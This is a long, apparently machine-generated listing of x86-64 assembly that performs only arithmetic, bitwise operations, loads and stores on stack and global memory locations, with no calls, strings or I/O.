lea rax, [rsp + 0x231]
mov qword [0x1401cda80], rax
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a0]
add eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov word [rcx], ax
movzx eax, word [rsp + 0x177c]
mov word [rsp + 0x17a0], ax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x281]
and eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x163c]
sub eax, ecx
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0xa758], rax
mov rax, qword [rsp + 0x9a00]
mov rcx, qword [rsp + 0x9090]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
lea rax, [0x1401cd720]
mov qword [rsp + 0xa760], rax
mov eax, dword [rsp + 0x4ae4]
mov rcx, qword [rsp + 0x8f50]
mov qword [rsp + 0xa768], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa768]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9a50]
mov dword [rcx], eax
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0x15d8]
sar eax, cl
mov word [0x1401cd820], ax
movzx eax, byte [rsp + 0x21c]
mov byte [rsp + 0x28e], al
mov rax, qword [rsp + 0x9dd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16bc]
or eax, ecx
mov rcx, qword [rsp + 0x9850]
mov word [rcx], ax
movzx eax, word [rsp + 0x16f4]
mov rcx, qword [rsp + 0xa348]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1f0]
mov word [rcx], ax
movzx eax, byte [0x1401cc046]
mov byte [rsp + 0x28f], al
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9040], rax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0xa770], rax
mov eax, dword [rsp + 0x4fcc]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e48], eax
mov eax, dword [rsp + 0x4f84]
mov ecx, dword [rsp + 0x4e94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9548]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x276]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc052], al
lea rax, [rsp + 0x16b8]
mov qword [rsp + 0xa778], rax
movsx eax, word [rsp + 0x14ec]
movsx ecx, word [rsp + 0x154c]
sub eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, byte [rsp + 0x266]
mov byte [rsp + 0x290], al
movsx eax, byte [rsp + 0x9b]
movsx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov byte [rsp + 0x206], al
mov eax, dword [rsp + 0x5064]
mov ecx, dword [rsp + 0x4ed4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
lea rax, [rsp + 0x4f58]
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0x94d0]
mov qword [rsp + 0xa788], rax
lea rax, [rsp + 0x1714]
mov qword [0x1401cda88], rax
movzx eax, byte [0x1401cc009]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x274], al
movsx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x254], al
lea rax, [rsp + 0x1764]
mov qword [rsp + 0xa790], rax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x9b]
or eax, ecx
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0x9b90]
mov qword [rsp + 0xa798], rax
mov eax, dword [rsp + 0x509c]
mov rcx, qword [rsp + 0x9648]
mov qword [rsp + 0xa7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f20]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov dword [rsp + 0x4bc4], eax
mov rax, qword [rsp + 0xa2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0xa108]
movsx eax, word [rax]
movsx ecx, word [0x1401cd988]
add eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x24d]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd878]
mov byte [rcx], al
lea rax, [rsp + 0x1740]
mov qword [rsp + 0xa7a8], rax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x22c]
sub eax, ecx
mov byte [rsp + 0x21e], al
lea rax, [rsp + 0xe1]
mov qword [rsp + 0xa7b0], rax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9580]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x9e20]
mov rcx, qword [rsp + 0x92e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f60]
mov dword [rsp + 0x5108], eax
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9428]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9600]
mov qword [rcx], rax
lea rax, [0x1401cc05e]
mov qword [rsp + 0xa7b8], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x175c]
add eax, ecx
mov word [0x1401cc0e8], ax
mov rax, qword [rsp + 0x9590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x158c], ax
movzx eax, byte [rsp + 0x24e]
movzx ecx, byte [rsp + 0x279]
add eax, ecx
mov byte [rsp + 0x251], al
lea rax, [rsp + 0x15b0]
mov qword [rsp + 0xa7c0], rax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8980]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa1c0]
mov qword [rsp + 0xa7d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov qword [rsp + 0xa7d8], rax
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x20a], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401cd7db], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [0x1401cd930]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0x9028]
movzx eax, word [rax]
mov word [rsp + 0x17a4], ax
movsx eax, word [rsp + 0x1654]
mov rcx, qword [rsp + 0x9c10]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov dword [rsp + 0x510c], eax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0x90e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0xa400]
mov rcx, qword [rsp + 0x9e58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ed8], rax
mov rax, qword [rsp + 0x9d90]
mov rax, qword [rax]
mov qword [rsp + 0xa7e0], rax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa298]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x238], al
lea rax, [rsp + 0x1740]
mov qword [0x1401cda90], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
mov byte [rsp + 0x291], al
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x28c]
add eax, ecx
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x9ad8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1634]
sub eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rax, [rsp + 0x15e8]
mov qword [rsp + 0xa7e8], rax
mov rax, qword [rsp + 0xa630]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov dword [rsp + 0x5110], eax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xa230]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9520]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
or eax, ecx
mov byte [0x1401cc00b], al
lea rax, [rsp + 0x178c]
mov qword [rsp + 0xa7f0], rax
mov rax, qword [0x1401cd9a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x268], al
lea rax, [rsp + 0x1630]
mov qword [rsp + 0xa7f8], rax
movzx eax, byte [rsp + 0x25f]
movzx ecx, byte [rsp + 0x262]
xor eax, ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9d88]
shl rax, cl
mov qword [rsp + 0x8520], rax
mov eax, dword [rsp + 0x502c]
mov ecx, dword [rsp + 0x5080]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x9a98]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
lea rax, [rsp + 0x9e38]
mov qword [rsp + 0xa800], rax
movzx eax, word [rsp + 0x1710]
mov word [0x1401cda98], ax
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc046]
add eax, ecx
mov byte [rsp + 0x25c], al
lea rax, [rsp + 0x1464]
mov qword [rsp + 0xa808], rax
movzx eax, word [rsp + 0x16fc]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa518]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa4d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
mov qword [rsp + 0xa810], rax
mov rax, qword [rsp + 0xa1c0]
mov ecx, dword [rsp + 0x4f48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fac], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xa818], rax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0xa370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a4]
add eax, ecx
mov word [0x1401cc040], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x27e]
sub eax, ecx
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x16bc]
mov qword [rsp + 0xa820], rax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9810]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x206], al
lea rax, [0x1401cc042]
mov qword [rsp + 0xa828], rax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50b0]
shl eax, cl
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0x9b88]
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9720]
mov qword [rsp + 0xa838], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa838]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8520]
mov rcx, qword [rsp + 0x9090]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3f0]
mov qword [rcx], rax
lea rax, [rsp + 0x21c]
mov qword [0x1401cdaa0], rax
movzx eax, word [rsp + 0x16a8]
mov word [rsp + 0x17a8], ax
mov rax, qword [rsp + 0xa778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
xor eax, ecx
mov word [rsp + 0x15ac], ax
mov rax, qword [rsp + 0x9fb0]
movzx eax, byte [rax]
mov byte [rsp + 0x292], al
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc008]
and eax, ecx
mov rcx, qword [rsp + 0x91d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0xa840], rax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5108]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0xa460]
mov qword [rsp + 0xa848], rax
movzx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0ec], ax
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11f4], ax
movzx eax, word [rsp + 0x1670]
movzx ecx, word [rsp + 0x15bc]
sub eax, ecx
mov word [rsp + 0x1590], ax
lea rax, [rsp + 0x26e]
mov qword [rsp + 0xa850], rax
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [0x1401cd7dc]
and eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
lea rax, [rsp + 0x91a8]
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0x9860]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f88]
mov ecx, dword [rsp + 0x4ef4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ef0], eax
lea rax, [rsp + 0x91b8]
mov qword [rsp + 0xa860], rax
movsx eax, word [rsp + 0x160c]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov rcx, qword [0x1401cd740]
mov word [rcx], ax
mov rax, qword [0x1401cd898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9410]
mov byte [rcx], al
mov rax, qword [rsp + 0x9858]
movzx eax, byte [rax]
mov byte [rsp + 0x293], al
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xa258]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1180], ax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xa868], rax
mov eax, dword [rsp + 0x4f44]
mov ecx, dword [rsp + 0x4e94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0x9f38]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
shl rax, cl
mov qword [rsp + 0xa030], rax
lea rax, [rsp + 0x9580]
mov qword [rsp + 0xa870], rax
mov eax, dword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x4fd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
lea rax, [rsp + 0x10c0]
mov qword [0x1401cdaa8], rax
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x17ac], ax
movzx eax, byte [rsp + 0x1f1]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20a], al
lea rax, [rsp + 0x218]
mov qword [rsp + 0xa878], rax
mov eax, dword [rsp + 0x4f44]
mov ecx, dword [rsp + 0x4dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa260]
mov qword [rcx], rax
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0xa888], rax
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x169c]
add eax, ecx
mov word [0x1401cd840], ax
movzx eax, byte [rsp + 0x26b]
movzx ecx, byte [rsp + 0x27d]
and eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [rsp + 0x170c]
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0x97e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9710]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0x9500]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e38], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa5f8]
sar rax, cl
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f54], eax
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7b8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ef8]
mov word [rcx], ax
lea rax, [rsp + 0x1348]
mov qword [0x1401cdab0], rax
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x294], al
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x280]
add eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
mov rax, qword [0x1401cd8d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17ac]
and eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
mov dword [rsp + 0x5118], eax
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9388], rax
mov eax, dword [rsp + 0x4da0]
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0xa400]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0xa1b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0xa618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1764]
sub eax, ecx
mov rcx, qword [0x1401cd798]
mov word [rcx], ax
movzx eax, word [rsp + 0x1760]
mov word [rsp + 0x17b0], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xa738]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0x9e98]
mov ecx, dword [rsp + 0x4f58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x91f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50bc], eax
lea rax, [rsp + 0x8360]
mov qword [rsp + 0xa898], rax
mov rax, qword [rsp + 0x9b40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa238]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
lea rax, [rsp + 0x215]
mov qword [rsp + 0xa8a0], rax
lea rax, [rsp + 0x1740]
mov qword [0x1401cdab8], rax
movzx eax, byte [rsp + 0x284]
mov rcx, qword [rsp + 0xa728]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1a3]
mov byte [rsp + 0x296], al
movsx eax, word [0x1401cc0a8]
movsx ecx, word [rsp + 0x16d8]
xor eax, ecx
mov word [rsp + 0x1654], ax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x229]
shl eax, cl
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ce8]
mov eax, dword [rax]
mov dword [rsp + 0x5120], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8ab8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa048]
mov qword [rcx], rax
lea rax, [rsp + 0x4eb8]
mov qword [rsp + 0xa8a8], rax
mov rax, qword [rsp + 0x9f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b88], rax
movzx eax, byte [0x1401cc05b]
mov rcx, qword [rsp + 0x9aa8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc00c], al
mov rax, qword [rsp + 0x9f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
and eax, ecx
mov word [rsp + 0x15d0], ax
lea rax, [rsp + 0x15d4]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [0x1401cd7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25a], al
lea rax, [rsp + 0x15a0]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0xa260]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0x8f38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa368], rax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0xa8c0], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f18], eax
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cd788], ax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [rsp + 0xa4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c8], al
movzx eax, word [rsp + 0x166c]
mov rcx, qword [rsp + 0xa2b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0x92a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xa2d8]
movzx eax, byte [rax]
mov byte [rsp + 0x297], al
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x9700]
mov qword [rsp + 0xa8c8], rax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
shl eax, cl
mov rcx, qword [rsp + 0x9280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov qword [rsp + 0xa8d0], rax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc0f0], ax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0xa170]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x266]
and eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x9ff0]
movzx eax, word [rax]
mov word [rsp + 0x17b4], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [0x1401cd988]
sub eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x510c]
mov dword [rsp + 0x5124], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [0x1401cc010]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x5128], eax
lea rax, [rsp + 0x285]
mov qword [0x1401cdac0], rax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [0x1401cd878]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x202], al
movzx eax, word [rsp + 0x1550]
mov word [rsp + 0x17b8], ax
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15ec], ax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
sub eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
lea rax, [rsp + 0x9010]
mov qword [rsp + 0xa8d8], rax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0xa818]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x95a8]
mov eax, dword [rax]
mov dword [rsp + 0x512c], eax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0x9be0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401cd800]
mov word [rcx], ax
lea rax, [rsp + 0x1df]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0x93c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9730]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cd8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1614], ax
movzx eax, byte [rsp + 0x266]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
lea rax, [rsp + 0x9660]
mov qword [rsp + 0xa8e8], rax
